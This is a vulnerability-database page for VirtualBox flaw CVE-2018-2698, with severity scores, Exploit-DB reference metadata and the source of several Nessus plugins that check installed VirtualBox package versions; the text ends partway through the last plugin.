Vulnerabilities > CVE-2018-2698 - Unspecified vulnerability in Oracle VM Virtualbox

047910
CVSS 4.1 - MEDIUM
Attack vector
LOCAL
Attack complexity
MEDIUM
Privileges required
SINGLE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
local
oracle
nessus
exploit available

Summary

Vulnerability in the Oracle VM VirtualBox component of Oracle Virtualization (subcomponent: Core). Supported versions that are affected are Prior to 5.1.32 and Prior to 5.2.6. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.0 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Exploit-Db

descriptionOracle VirtualBox < 5.1.30 / < 5.2-rc1 - Guest to Host Escape. CVE-2018-2698. Local exploit for Multiple platform
fileexploits/multiple/local/43878.md
idEDB-ID:43878
last seen2018-01-24
modified2018-01-24
platformmultiple
port
published2018-01-24
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/43878/
titleOracle VirtualBox < 5.1.30 / < 5.2-rc1 - Guest to Host Escape
typelocal

Nessus

  • NASL familyMisc.
    NASL idVIRTUALBOX_5_2_6.NASL
    descriptionThe version of Oracle VM VirtualBox running on the remote host is 5.1.x prior to 5.1.32 or 5.2.x prior to 5.2.6. It is, therefore, affected by multiple vulnerabilities as noted in the January 2018 Critical Patch Update advisory. Please consult the CVRF details for the applicable CVEs for additional information. Nessus has not tested for these issues but has instead relied only on the application
    last seen2020-06-01
    modified2020-06-02
    plugin id106104
    published2018-01-17
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/106104
    titleOracle VM VirtualBox 5.1.x < 5.1.32 / 5.2.x < 5.2.6 (January 2018 CPU)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(106104);
      script_version("1.16");
      script_cvs_date("Date: 2019/11/08");
    
      script_cve_id(
        "CVE-2017-3735",
        "CVE-2017-3736",
        "CVE-2017-5715",
        "CVE-2018-2685",
        "CVE-2018-2686",
        "CVE-2018-2687",
        "CVE-2018-2688",
        "CVE-2018-2689",
        "CVE-2018-2690",
        "CVE-2018-2694",
        "CVE-2018-2698"
      );
      script_bugtraq_id(100515, 101666, 102376);
      script_xref(name:"IAVA", value:"2018-A-0020");
    
      script_name(english:"Oracle VM VirtualBox 5.1.x < 5.1.32 / 5.2.x < 5.2.6 (January 2018 CPU)");
      script_summary(english:"Performs a version check on VirtualBox.exe");
    
      script_set_attribute(attribute:"synopsis", value:
    "An application installed on the remote host is affected by multiple
    vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of Oracle VM VirtualBox running on the remote host is
    5.1.x prior to 5.1.32 or 5.2.x prior to 5.2.6. It is, therefore,
    affected by multiple vulnerabilities as noted in the January 2018
    Critical Patch Update advisory. Please consult the CVRF details
    for the applicable CVEs for additional information.
    
    Nessus has not tested for these issues but has instead
    relied only on the application's self-reported version number.");
      # http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?ae82f1b1");
      script_set_attribute(attribute:"see_also", value:"https://www.virtualbox.org/wiki/Changelog");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Oracle VM VirtualBox version 5.1.32 / 5.2.6 or later as
    referenced in the January 2018 Oracle Critical Patch Update advisory.");
      script_set_attribute(attribute:"agent", value:"all");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-3735");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/01/16");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/01/16");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/01/17");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:vm_virtualbox");
      script_set_attribute(attribute:"stig_severity", value:"I");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("virtualbox_installed.nasl", "macosx_virtualbox_installed.nbin");
      script_require_ports("installed_sw/Oracle VM VirtualBox", "installed_sw/VirtualBox");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("install_func.inc");
    
    app  = NULL;
    apps = make_list('Oracle VM VirtualBox', 'VirtualBox');
    
    foreach app (apps)
    {
      if (get_install_count(app_name:app)) break;
      else app = NULL;
    }
    
    if (isnull(app)) audit(AUDIT_NOT_INST, 'Oracle VM VirtualBox');
    
    install = get_single_install(app_name:app, exit_if_unknown_ver:TRUE);
    
    ver  = install['version'];
    path = install['path'];
    
    
    # 5.1.x < 5.1.32
    if (ver =~ '^5\\.1' && ver_compare(ver:ver, fix:'5.1.32', strict:FALSE) < 0) fix = '5.1.32';
    # 5.2.x < 5.2.6
    else if (ver =~ '^5\\.2' && ver_compare(ver:ver, fix:'5.2.6', strict:FALSE) < 0) fix = '5.2.6';
    else audit(AUDIT_INST_PATH_NOT_VULN, app, ver, path);
    
    port = 0;
    if (app == 'Oracle VM VirtualBox')
    {
      port = get_kb_item("SMB/transport");
      if (!port) port = 445;
    }
    
    report =
      '\n  Path              : ' + path +
      '\n  Installed version : ' + ver +
      '\n  Fixed version     : ' + fix +
      '\n';
    security_report_v4(port:port, extra:report, severity:SECURITY_WARNING);
    exit(0);
    
    
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2018-75.NASL
    descriptionThis update for virtualbox to version 5.1.32 fixes the following issues : The following vulnerabilities were fixed (boo#1076372) : - CVE-2017-5715: Systems with microprocessors utilizing speculative execution and indirect branch prediction may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis, also known as
    last seen2020-06-05
    modified2018-01-24
    plugin id106289
    published2018-01-24
    reporterThis script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/106289
    titleopenSUSE Security Update : virtualbox (openSUSE-2018-75) (Spectre)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from openSUSE Security Update openSUSE-2018-75.
    #
    # The text description of this plugin is (C) SUSE LLC.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(106289);
      script_version("3.12");
      script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/04");
    
      script_cve_id("CVE-2017-5715", "CVE-2018-2676", "CVE-2018-2685", "CVE-2018-2686", "CVE-2018-2687", "CVE-2018-2688", "CVE-2018-2689", "CVE-2018-2690", "CVE-2018-2693", "CVE-2018-2694", "CVE-2018-2698");
      script_xref(name:"IAVA", value:"2018-A-0020");
    
      script_name(english:"openSUSE Security Update : virtualbox (openSUSE-2018-75) (Spectre)");
      script_summary(english:"Check for the openSUSE-2018-75 patch");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote openSUSE host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "This update for virtualbox to version 5.1.32 fixes the following
    issues :
    
    The following vulnerabilities were fixed (boo#1076372) :
    
      - CVE-2017-5715: Systems with microprocessors utilizing
        speculative execution and indirect branch prediction may
        allow unauthorized disclosure of information to an
        attacker with local user access via a side-channel
        analysis, also known as 'Spectre', bsc#1068032.
    
      - CVE-2018-2676: Local authenticated attacker may gain
        elevated privileges
    
      - CVE-2018-2685: Local authenticated attacker may gain
        elevated privileges 
    
      - CVE-2018-2686: Local authenticated attacker may gain
        elevated privileges 
    
      - CVE-2018-2687: Local authenticated attacker may gain
        elevated privileges
    
      - CVE-2018-2688: Local authenticated attacker may gain
        elevated privileges
    
      - CVE-2018-2689: Local authenticated attacker may gain
        elevated privileges
    
      - CVE-2018-2690: Local authenticated attacker may gain
        elevated privileges
    
      - CVE-2018-2693: Local authenticated attacker may gain
        elevated privileges via guest additions
    
      - CVE-2018-2694: Local authenticated attacker may gain
        elevated privileges
    
      - CVE-2018-2698: Local authenticated attacker may gain
        elevated privileges 
    
    The following bug fixes are included :
    
      - fix occasional screen corruption when host screen
        resolution is changed
    
      - increase proposed disk size when creating new VMs for
        Windows 7 and newer
    
      - fix broken communication with certain devices on Linux
        hosts
    
      - Fix problems using 256MB VRAM in raw-mode VMs
    
      - add HDA support for more exotic guests (e.g. Haiku)
    
      - fix playback with ALSA backend (5.1.28 regression)
    
      - fix a problem where OHCI emulation might sporadically
        drop data transfers"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1068032"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1076372"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected virtualbox packages."
      );
      script_set_cvss_base_vector("CVSS2#AV:L/AC:M/Au:N/C:C/I:N/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:python-virtualbox");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:python-virtualbox-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-debugsource");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-desktop-icons");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-kmp-default");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-kmp-default-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-source");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-tools");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-tools-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-x11");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-x11-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-host-kmp-default");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-host-kmp-default-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-host-source");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-qt");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-qt-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-vnc");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-websrv");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-websrv-debuginfo");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:42.2");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:42.3");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/01/04");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/01/23");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/01/24");
      script_set_attribute(attribute:"in_the_news", value:"true");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_set_attribute(attribute:"stig_severity", value:"I");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"SuSE Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/SuSE/release", "Host/SuSE/rpm-list", "Host/cpu");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/SuSE/release");
    if (isnull(release) || release =~ "^(SLED|SLES)") audit(AUDIT_OS_NOT, "openSUSE");
    if (release !~ "^(SUSE42\.2|SUSE42\.3)$") audit(AUDIT_OS_RELEASE_NOT, "openSUSE", "42.2 / 42.3", release);
    if (!get_kb_item("Host/SuSE/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    ourarch = get_kb_item("Host/cpu");
    if (!ourarch) audit(AUDIT_UNKNOWN_ARCH);
    if (ourarch !~ "^(x86_64)$") audit(AUDIT_ARCH_NOT, "x86_64", ourarch);
    
    flag = 0;
    
    if ( rpm_check(release:"SUSE42.2", reference:"python-virtualbox-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"python-virtualbox-debuginfo-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-debuginfo-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-debugsource-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-devel-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-guest-desktop-icons-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-guest-kmp-default-5.1.32_k4.4.104_18.44-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-guest-kmp-default-debuginfo-5.1.32_k4.4.104_18.44-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-guest-source-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-guest-tools-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-guest-tools-debuginfo-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-guest-x11-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-guest-x11-debuginfo-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-host-kmp-default-5.1.32_k4.4.104_18.44-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-host-kmp-default-debuginfo-5.1.32_k4.4.104_18.44-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-host-source-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-qt-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-qt-debuginfo-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-vnc-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-websrv-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.2", reference:"virtualbox-websrv-debuginfo-5.1.32-19.49.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"python-virtualbox-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"python-virtualbox-debuginfo-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-debuginfo-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-debugsource-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-devel-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-desktop-icons-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-kmp-default-5.1.32_k4.4.104_39-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-kmp-default-debuginfo-5.1.32_k4.4.104_39-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-source-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-tools-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-tools-debuginfo-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-x11-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-x11-debuginfo-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-host-kmp-default-5.1.32_k4.4.104_39-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-host-kmp-default-debuginfo-5.1.32_k4.4.104_39-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-host-source-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-qt-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-qt-debuginfo-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-vnc-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-websrv-5.1.32-42.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-websrv-debuginfo-5.1.32-42.1") ) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
      else security_warning(0);
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "python-virtualbox / python-virtualbox-debuginfo / virtualbox / etc");
    }
    
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201802-01.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201802-01 (VirtualBox: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in VirtualBox. Please review the CVE identifiers referenced below for details. Impact : An attacker could take control of VirtualBox resulting in the execution of arbitrary code with the privileges of the process, a Denial of Service condition, or other unspecified impacts. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id106739
    published2018-02-12
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/106739
    titleGLSA-201802-01 : VirtualBox: Multiple vulnerabilities
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from Gentoo Linux Security Advisory GLSA 201802-01.
    #
    # The advisory text is Copyright (C) 2001-2019 Gentoo Foundation, Inc.
    # and licensed under the Creative Commons - Attribution / Share Alike 
    # license. See http://creativecommons.org/licenses/by-sa/3.0/
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(106739);
      script_version("3.5");
      script_cvs_date("Date: 2019/04/08 10:48:58");
    
      script_cve_id("CVE-2018-2676", "CVE-2018-2685", "CVE-2018-2686", "CVE-2018-2687", "CVE-2018-2688", "CVE-2018-2689", "CVE-2018-2690", "CVE-2018-2693", "CVE-2018-2694", "CVE-2018-2698");
      script_xref(name:"GLSA", value:"201802-01");
    
      script_name(english:"GLSA-201802-01 : VirtualBox: Multiple vulnerabilities");
      script_summary(english:"Checks for updated package(s) in /var/db/pkg");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote Gentoo host is missing one or more security-related
    patches."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "The remote host is affected by the vulnerability described in GLSA-201802-01
    (VirtualBox: Multiple vulnerabilities)
    
        Multiple vulnerabilities have been discovered in VirtualBox. Please
          review the CVE identifiers referenced below for details.
      
    Impact :
    
        An attacker could take control of VirtualBox resulting in the execution
          of arbitrary code with the privileges of the process, a Denial of Service
          condition, or other unspecified impacts.
      
    Workaround :
    
        There is no known workaround at this time."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://security.gentoo.org/glsa/201802-01"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "All VirtualBox users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=app-emulation/virtualbox-5.1.32'
        All VirtualBox Binary users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose
          '>=app-emulation/virtualbox-bin-5.1.32.120294'
        All VirtualBox Guest Additions users should upgrade to the latest
          version:
          # emerge --sync
          # emerge --ask --oneshot --verbose
          '>=app-emulation/virtualbox-guest-additions-5.1.32'"
      );
      script_set_cvss_base_vector("CVSS2#AV:L/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:virtualbox");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:virtualbox-bin");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:virtualbox-guest-additions");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/01/18");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/02/11");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/02/12");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Gentoo Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("qpkg.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
    if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (qpkg_check(package:"app-emulation/virtualbox-guest-additions", unaffected:make_list("ge 5.1.32"), vulnerable:make_list("lt 5.1.32"))) flag++;
    if (qpkg_check(package:"app-emulation/virtualbox", unaffected:make_list("ge 5.1.32"), vulnerable:make_list("lt 5.1.32"))) flag++;
    if (qpkg_check(package:"app-emulation/virtualbox-bin", unaffected:make_list("ge 5.1.32.120294"), vulnerable:make_list("lt 5.1.32.120294"))) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:qpkg_report_get());
      else security_warning(0);
      exit(0);
    }
    else
    {
      tested = qpkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "VirtualBox");
    }
    
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2018-938.NASL
    descriptionThis update for kbuild, virtualbox fixes the following issues : kbuild changes : - Update to version 0.1.9998svn3110 - Do not assume glibc glob internals - Support GLIBC glob interface version 2 - Fix build failure (boo#1079838) - Fix build with GCC7 (boo#1039375) - Fix build by disabling vboxvideo_drv.so virtualbox security fixes (boo#1101667, boo#1076372) : - CVE-2018-3005 - CVE-2018-3055 - CVE-2018-3085 - CVE-2018-3086 - CVE-2018-3087 - CVE-2018-3088 - CVE-2018-3089 - CVE-2018-3090 - CVE-2018-3091 - CVE-2018-2694 - CVE-2018-2698 - CVE-2018-2685 - CVE-2018-2686 - CVE-2018-2687 - CVE-2018-2688 - CVE-2018-2689 - CVE-2018-2690 - CVE-2018-2676 - CVE-2018-2693 - CVE-2017-5715 virtualbox other changes : - Version bump to 5.2.16 - Use %(?linux_make_arch) when building kernel modules (boo#1098050) - Fixed vboxguestconfig.sh script - Update warning regarding the security hole in USB passthrough. (boo#1097248) - Fixed include for build with Qt 5.11 (boo#1093731) - You can find a detailed list of changes [here](https://www.virtualbox.org/wiki/Changelog#v16)
    last seen2020-06-05
    modified2018-08-28
    plugin id112143
    published2018-08-28
    reporterThis script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/112143
    titleopenSUSE Security Update : kbuild / virtualbox (openSUSE-2018-938) (Spectre)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from openSUSE Security Update openSUSE-2018-938.
    #
    # The text description of this plugin is (C) SUSE LLC.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(112143);
      script_version("1.7");
      script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/04");
    
      script_cve_id("CVE-2017-5715", "CVE-2018-0739", "CVE-2018-2676", "CVE-2018-2685", "CVE-2018-2686", "CVE-2018-2687", "CVE-2018-2688", "CVE-2018-2689", "CVE-2018-2690", "CVE-2018-2693", "CVE-2018-2694", "CVE-2018-2698", "CVE-2018-2830", "CVE-2018-2831", "CVE-2018-2835", "CVE-2018-2836", "CVE-2018-2837", "CVE-2018-2842", "CVE-2018-2843", "CVE-2018-2844", "CVE-2018-2845", "CVE-2018-2860", "CVE-2018-3005", "CVE-2018-3055", "CVE-2018-3085", "CVE-2018-3086", "CVE-2018-3087", "CVE-2018-3088", "CVE-2018-3089", "CVE-2018-3090", "CVE-2018-3091");
    
      script_name(english:"openSUSE Security Update : kbuild / virtualbox (openSUSE-2018-938) (Spectre)");
      script_summary(english:"Check for the openSUSE-2018-938 patch");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote openSUSE host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "This update for kbuild, virtualbox fixes the following issues :
    
    kbuild changes :
    
      - Update to version 0.1.9998svn3110
    
      - Do not assume glibc glob internals
    
      - Support GLIBC glob interface version 2
    
      - Fix build failure (boo#1079838)
    
      - Fix build with GCC7 (boo#1039375)
    
      - Fix build by disabling vboxvideo_drv.so
    
    virtualbox security fixes (boo#1101667, boo#1076372) :
    
      - CVE-2018-3005
    
      - CVE-2018-3055
    
      - CVE-2018-3085
    
      - CVE-2018-3086
    
      - CVE-2018-3087
    
      - CVE-2018-3088
    
      - CVE-2018-3089
    
      - CVE-2018-3090
    
      - CVE-2018-3091
    
      - CVE-2018-2694
    
      - CVE-2018-2698
    
      - CVE-2018-2685
    
      - CVE-2018-2686
    
      - CVE-2018-2687
    
      - CVE-2018-2688
    
      - CVE-2018-2689
    
      - CVE-2018-2690
    
      - CVE-2018-2676
    
      - CVE-2018-2693
    
      - CVE-2017-5715
    
    virtualbox other changes :
    
      - Version bump to 5.2.16
    
      - Use %(?linux_make_arch) when building kernel modules
        (boo#1098050)
    
      - Fixed vboxguestconfig.sh script
    
      - Update warning regarding the security hole in USB
        passthrough. (boo#1097248)
    
      - Fixed include for build with Qt 5.11 (boo#1093731)
    
      - You can find a detailed list of changes
        [here](https://www.virtualbox.org/wiki/Changelog#v16)"
      );
      script_set_attribute(
        attribute:"see_also",
